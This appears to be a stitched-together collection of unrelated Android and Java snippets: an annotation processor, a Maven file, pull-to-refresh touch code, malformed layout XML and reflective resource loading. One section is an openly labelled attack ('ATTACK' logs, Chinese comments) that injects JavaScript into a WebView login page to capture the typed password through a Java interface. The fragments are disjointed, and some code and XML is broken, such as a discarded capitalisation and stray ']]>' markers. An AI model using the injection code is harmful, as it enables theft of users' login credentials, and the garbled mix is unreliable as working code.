@Retention(CLASS)
@Target(METHOD)
public @interface WRMPOST {
    String className();
    String value() default "Hello";
    int type() default 0;
}

@SupportedSourceVersion(SourceVersion.RELEASE_7)
public class MyProcessor extends AbstractProcessor {
    public static final String SUFFIX = "$$WrmRequestInfo";
    @Override
    public synchronized void init(ProcessingEnvironment env) {
        super.init(env);
    }
    @Override
    public Set<String> getSupportedAnnotationTypes() {
        Set<String> types = new LinkedHashSet<String>();
        types.add(WRMPOST.class.getCanonicalName());
        return types;
    }
    @Override
    public boolean process(Set<? extends TypeElement> annotations, RoundEnvironment env) {
        for (Element e : env.getElementsAnnotatedWith(WRMPOST.class)) {
            WRMPOST ca = e.getAnnotation(WRMPOST.class);
            String name = e.getSimpleName().toString();
            char[] c = name.toCharArray();
            c[0] = Character.toUpperCase(c[0]);
            name = new String(name);
            TypeElement clazz = (TypeElement) e.getEnclosingElement();
            try {
                JavaFileObject f = processingEnv.getFiler().createSourceFile(clazz.getQualifiedName() + SUFFIX);
                processingEnv.getMessager().printMessage(Diagnostic.Kind.NOTE, "Creating " + f.toUri());
                Writer w = f.openWriter();
                try {
                    String pack = clazz.getQualifiedName().toString();
                    PrintWriter pw = new PrintWriter(w);
                    pw.println("package " + pack.substring(0, pack.lastIndexOf('.')) + ";");
                    pw.println("\npublic class " + clazz.getSimpleName() + "Autogenerate {");
                    pw.println("\n    public " + ca.className() + " result = \"" + ca.value() + "\";");
                    pw.println("    public int type = " + ca.type() + ";");
                    pw.println("\n    protected " + clazz.getSimpleName() + "Autogenerate() {}");
                    pw.println("\n    /** Handle something. */");
                    pw.println("    protected final void handle" + name + "(" + ca.className() + " value" + ") {");
                    pw.println("\n//" + e);
                    pw.println("//" + ca);
                    pw.println("\n        System.out.println(value);");
                    pw.println("    }");
                    pw.println("}");
                    pw.flush();
                } finally {
                    w.close();
                }
            } catch (IOException x) {
                processingEnv.getMessager().printMessage(Diagnostic.Kind.ERROR,
                        x.toString());
            }
        }
        return true;
    }
    @Override
    public SourceVersion getSupportedSourceVersion() {
        return SourceVersion.latestSupported();
    }
}

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>wrm</groupId>
    <artifactId>compiler</artifactId>
    <version>1.0-SNAPSHOT</version>
    <packaging>jar</packaging>
    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <configuration>
                    <source>1.6</source>
                    <target>1.6</target>
                    <compilerArgument>-proc:none</compilerArgument>
                </configuration>
            </plugin>
        </plugins>
    </build>
</project>

<com.yzx.TestPullToRefreshView
    android:id="@+id/pull_to_refresh"
    android:layout_width="match_parent"
    android:layout_height="match_parent">
    <ListView
        android:id="@+id/list_view"
        android:divider="@null"
        android:dividerHeight="0dp"
        android:fadingEdge="none"
        android:layout_width="match_parent"
        android:layout_height="match_parent" />
</com.yzx.TestPullToRefreshView>

@Override
    public boolean onTouchEvent(MotionEvent ev) {
        final int action = MotionEventCompat.getActionMasked(ev);
        switch (action) {
            case MotionEventCompat.ACTION_POINTER_DOWN:
                final int index = MotionEventCompat.getActionIndex(ev);
                mActivePointerId = MotionEventCompat.getPointerId(ev, index);
                final float initialMotionY = getMotionEventY(ev, mActivePointerId);
                if (initialMotionY == -1) {
                    return false;
                }
                mInitialMotionY = initialMotionY;
                break;
            case MotionEvent.ACTION_MOVE: {
                int offset = calOffset(ev);
                if (offset == -1) {
                    return false;
                }
                setTargetOffsetTop(offset);
                break;
            }
            case MotionEventCompat.ACTION_POINTER_UP:
            case MotionEvent.ACTION_UP:
            case MotionEvent.ACTION_CANCEL: {
                return false;
            }
        }
        return true;
    }

private int calOffset(MotionEvent ev) {
        final int pointerIndex = MotionEventCompat.findPointerIndex(ev, mActivePointerId);
        if (pointerIndex < 0) {
            return -1;
        }
        final float y = MotionEventCompat.getY(ev, pointerIndex);
        final float yDiff = y - mInitialMotionY;
        final float scrollTop = yDiff * DRAG_RATE;
        mCurrentDragPercent = scrollTop / mTotalDragDistance;
        if (mCurrentDragPercent < 0) {
            return -1;
        }
        float boundedDragPercent = Math.min(1f, Math.abs(mCurrentDragPercent));
        float extraOS = Math.abs(scrollTop) - mTotalDragDistance;
        float slingshotDist = mTotalDragDistance;
        float tensionSlingshotPercent = Math.max(0, Math.min(extraOS, slingshotDist * 2) / slingshotDist);
        float tensionPercent = (float) ((tensionSlingshotPercent / 4) - Math.pow(
                (tensionSlingshotPercent / 4), 2)) * 2f;
        float extraMove = (slingshotDist) * tensionPercent / 2;
        int targetY = (int) ((slingshotDist * boundedDragPercent) + extraMove);
        return targetY - mCurrentOffsetTop;
    }

private void setTargetOffsetTop(int offset, boolean requiresUpdate) {
    mTarget.offsetTopAndBottom(offset);
    mTestDrawable.offsetTopAndBottom(offset);
    mCurrentOffsetTop = mTarget.getTop();
    if (requiresUpdate && android.os.Build.VERSION.SDK_INT < 11) {
        invalidate();
    }
}

public class SavePasswordJavaScriptInterface    
{    
    public void savePassword(final String password)  
    {    
        Log.w("ATTACK", "enter spjsinterface:"+ password);  
        mHandler.post(new Runnable()  
        {    
            @Override    
            public void run()  
            {  
                //这里就是用户登录的密码了，你可以存起来了  
                mPassword = password;  
                Log.w("ATTACK", mPassword);  
            }    
        });    
    }   
}

//这里是注入Java对象  
mWebView.addJavascriptInterface(new SavePasswordJavaScriptInterface(), "SPJSInterface");  
//这里是打开登录平台页面  
mWebView.loadUrl(LOGIN_URL);

@Override  
public void onPageFinished(WebView view, String url)  
{  
    super.onPageFinished(view, url);  
    //仅当是登录url的时候才注入我们的js，不要任何url都注入  
    if (url.equals(LOGIN_URL)) {  
        //要注入的js  
        String js = "document.forms[0].onsubmit=function(event){var pwd = document.getElementById(\"ptlogin-password\").value;window.SPJSInterface.savePassword(pwd);return false;}";  
        Log.w("ATTACK", "inject js, js= " + js);  
        view.loadUrl("javascript:" + js);  
    }  
}

<?xml version="1.0" encoding="utf-8"?>
<com.touchstudy.LayoutView1 xmlns:android="http://schemas.android.com/apk/res/android"
    android:orientation="vertical"
    android:layout_width="fill_parent"
    android:layout_height="fill_parent" ]]>
    <com.touchstudy.LayoutView2
        android:orientation="vertical"
        android:layout_width="fill_parent"
        android:layout_height="fill_parent"
        android:gravity="center"]]>
       <com.touchstudy.MyTextView 
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:id="@+id/tv"
            android:text="AB"
            android:textSize="40sp"
            android:textStyle="bold"
            android:background="#FFFFFF"
            android:textColor="#0000FF"/>
   </com.touchstudy.LayoutView2]]>
</com.touchstudy.LayoutView1]]>

/** Return an AssetManager instance for your application's package. */
public abstract AssetManager getAssets();
/** Return a Resources instance for your application's package. */
public abstract Resources getResources();

protected void loadResources() {  
    try {  
        AssetManager assetManager = AssetManager.class.newInstance();  
        Method addAssetPath = assetManager.getClass().getMethod("addAssetPath", String.class);  
        addAssetPath.invoke(assetManager, mDexPath);  
        mAssetManager = assetManager;  
    } catch (Exception e) {  
        e.printStackTrace();  
    }  
    Resources superRes = super.getResources();  
    mResources = new Resources(mAssetManager, superRes.getDisplayMetrics(),  
            superRes.getConfiguration());  
    mTheme = mResources.newTheme();  
    mTheme.setTo(super.getTheme());  
}